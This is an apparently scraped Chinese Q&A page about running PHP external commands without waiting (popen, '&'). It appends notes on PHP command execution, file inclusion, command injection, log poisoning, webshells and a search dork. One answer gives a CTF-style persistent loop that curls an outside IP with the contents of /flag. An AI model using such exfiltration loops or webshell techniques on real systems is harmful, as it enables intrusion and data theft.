php执行外部命令,如何不等待返回结果
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php执行外部命令,如何不等待返回结果相关的知识,希望对你有一定的参考价值。
php执行外部命令时,如何做到不等待命令执行结果,继续执行下一行?
比如说:
$str = 'cp -r \use\* \newuse';
exec($str);
echo '运行完毕';
假如这个命令要执行5分钟,那程序要5分钟后才能有输出。
有没有可能发送出去了某条命令后,就不管了,让命令自个执行去,不等待返回结果。
要达到得效果就是发送命令后就输出运行结束。
高手来解答?谢谢!
发广告得死远点!!
感谢楼上的朋友。亲测有效,在linux中需要让程序在后台运行才可以,因此必须加&,例如:
pclose(popen(" while true;do echo 123;sleep 5;done;&", r));
这条命令注意 后面有一个空格。玩awd攻防赛的朋友可以靠这种方式种一个不死的子进程,不断发送flag给服务器:
pclose(popen(" while true;do curl http://192.168.62.1/?flag=`cat /flag`;sleep 5;done;&", 'r')); 参考技术A pclose(popen('start notepad.exe', 'r'));
参考资料:http://www.cublog.cn/u/10697/showart.php?id=76986
本回答被提问者采纳other漏洞
PHP 命令执行函数 在php中有五个函数能执行外部的应用程序或函数 1 system 执行一个外部的应用程序并显示输出的结果 2 exec 执行一个外部的应用程序 3 passthru 执行一个unix系统命令并显示原始的输出 4 shell_exec 执行shell命令并返回输出的结果的字符串 5 "‘‘" 运算符 与shell_exec的功能相同
文件包含漏洞 是代码注入的一种 其原理就是注入一段用户能控制的脚本或者代码 并让服务器端执行代码注入的典型代表就是文件包含file inclusion 文件包含可能会出现在jsp php asp 等语言中 常见的导致文件包含的函数如下 PHP include include_once() require() require_once fopen() readfile() jsp ava.io.file() java.io,filereader() asp include include virtual
命令注入攻击
由于web应用程序对用户提交的数据过滤不严格 导致xx可以构造特殊命令串的方式 将数据提交至web应用程序中 并利用该方式执行外部程序或系统命令实施攻击 非法获取数据或者网络紫苑等 命令注入攻击最初被称为shell命令注入攻击
包含日志
通过构造语句让服务器并将一句话报错信息写入日志
找到日志文件
用菜刀链接
下载漏洞
inurl:asp?fileup=
以上是关于php执行外部命令,如何不等待返回结果的主要内容,如果未能解决你的问题,请参考以下文章
php执行外部命令函数:exec()passthru()system()shell_exec()对比
在windows系统下的cmd下面执行php 命令,返回‘PHP’不是内部或外部命令,也不是可运行的程序。。
PHP 执行系统外部命令的方法 system() exec()